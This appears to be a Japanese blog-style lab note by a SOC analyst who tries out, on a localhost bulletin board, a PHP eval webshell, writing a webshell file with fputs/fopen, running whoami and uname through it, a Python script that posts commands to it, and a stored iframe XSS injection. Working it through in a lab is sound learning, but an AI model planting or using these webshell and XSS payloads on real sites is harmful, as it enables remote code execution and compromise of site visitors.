SOCで気になってたこととか色々やってみた
1.webshellの設置
2.iframeの挿入
1.webshellの設置
SOCでよく検知するやつ(記憶曖昧)
・<?php @eval($_POST['cmd']);?>
・fputs(fopen('webshell.php', 'w'), "<?php @eval($_POST['cmd']);?>")
みたいなやつ
実際にやってみようと思った
■環境
・POSTするための掲示板が整ってなかったので
適当に探して簡易版bbs作成 (前に作ってたやつはなぜか機能しなくなってた...)
・作成した掲示板からコード注入してファイル作成とeval文埋め込みを
やってみたが上手くいきそうもなかった
・だから、その掲示板のコードとして予めeval文を埋め込んでおいた
(アップロードからファイル作成→eval埋め込みはまた今度やりたい)
・それと単発でeval.phpでeval実行のコードだけ書いたファイルも用意
<?php @eval($_POST['command']); ?>
■攻撃方法
・ブラウザで投稿するパターン(bbs.php向け)
■成功したコード
・phpinfo();
・echo ("hello");
・echo exec('whoami');
・echo exec('uname -a');
・fputs(fopen("webshell.php", "w"), '<?php @eval($_POST["command"]); ?>');
まぁこれも一旦成功とみなしていいかな
・最初はファイル作成できなかったが、書き込み権限がrootのみだったのが原因
・クオテーションの位置とかで調整に時間かかったけど、とりあこれで成功
・あとはpythonからpostメソッドで、commandパラメータに実行したいコード入れて送る
send_to_webshell.py===============
import requests
response = requests.post("http://localhost/bbs/eval.php",\
data={'command': 'echo exec(\'pwd\');'})
print(response.status_code)
print(response.text)
===============
■上手くいかなかったコード
・echo('exec(ls -l)');
→なぜか出力結果の一番下の行しか出力されなかった
ブラウザから掲示板に注入しても、
どちらも1行のみ、これはわからん
■やりきれなかった点
・掲示板に最初からeval文を挿入した上でphpコード実行ができたけど、
eval文がない状態からphpファイルのアップロードとeval文の挿入ができればより良かった
・「ls -l」みたいに複数行表示させたいけど、最下行しかひょうじされなかったのが
まだよくわからない
2.iframeの挿入
SOCで気になったXSS系のやつ(記憶曖昧)
GET /search.php?name='<iframe width='100' src='http://localhost/xxx.php'>' HTTP/1.1
こんな感じ
これが攻撃なのかどうなのか、そもそもこれされたときの挙動はどうなるのか
気になったので軽くやってみた
上記で作成した簡易掲示板の適当なところにこれを書いた(example.jpegは適当な猫画像)
<iframe width="100" height="100" src="example.jpeg">
するとページ内の小窓で表示された。
試しに投稿ボックスに上記コードいれて投稿してみたら、なんと
投稿内容表示のところに小窓が現れて猫がいた
これでXSS成功ってことか
なんとも簡単で楽しい